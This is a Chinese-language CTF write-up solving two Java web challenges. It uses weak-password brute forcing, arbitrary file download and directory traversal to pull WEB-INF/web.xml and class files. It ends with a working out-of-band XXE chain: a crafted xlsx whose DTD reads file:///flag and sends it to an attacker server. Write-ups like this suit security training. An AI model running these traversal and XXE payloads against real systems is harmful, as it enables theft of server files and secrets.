buu一道简单java web

# [RoarCTF 2019]Easy Java

buu平台一道简单java web[RoarCTF 2019]Easy Java (opens new window)

1

打开题目,一个登录页面,可以bp爆破出弱密码admin/admin888

2

登录页没什么内容

3

尝试首页的help,路由像是存在任意文件下载漏洞,没有下载help.docx文件,换成post请求才能下载文件,这是什么题目,这也是play的一环吗

post发送请求filename=help.docx,下载help.docx文件,没用

关于WEB-INF目录

提示

WEB-INF主要包含一下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件

下载/WEB-INF/web.xml文件,看看服务配置项,里面记录了FLAG的controller

5

所以可以找/WEB-INF/classes/com/wm/ctf/FlagController.class,下载class文件,用jd-gui下载 (opens new window)反编译

6

flag base64编码了,解码拿到flag

# [网鼎杯 2020 青龙组]filejava

上传文件后,可以下载,下载功能存在目录穿越漏洞

7

8

穿越下载java web的配置文件web.xml

9

下载实现主要功能的class文件DownloadServlet.class,ListFileServlet.class,UploadServlet.class

在java web中,这些文件在/WEB-INF/classes目录下的自定义package下,也就是这里的/cn/abc/servlet

url/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class下载class文件

jd-gui反编译class文件,审计源码

审计DownloadServlet.class,可以看到存在flag时会禁止下载

10

审计ListFileServlet.class,没有什么可以利用的

11

审计UploadServlet.class,如果上传的文件名是excel-开头,.xlsx结尾,那么会尝试读取文件的xml文件。doc, xlsx等文件实质是zip压缩包,里面存在一个xml文件,可以创建一个正常的excel文件,改扩展名为zip,把里面内容替换为恶意xml内容,再压缩,改回xlsx扩展名,上传。打一个xxe漏洞

12

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
          try {
            // 读取xml文件,引用vps的dtd文件,利用xxe漏洞读取flag
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          }
1
2
3
4
5
6
7
8
9
10

这是创建的excel文件修改为zip文件里的xml文件内容,写好后再全部压缩到一个包里,扩展名改回xlsx,文件名excel-1.xlsx

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data SYSTEM "http://ip:port/1.dtd">
<data>&send;</data>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
1
2
3
4

vps进入一个空目录,新建1.dtd文件,内容为

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:port/?%file;'>">
%all;
1
2
3

开启一个web服务,端口要和上面xml,dtd的端口一致

python3 -m http.server 4444
1

上传文件,可以在日志看到目标主机带着flag的访问

14

13

参考:

最后一次更新于: 2024/10/31, 01:36:31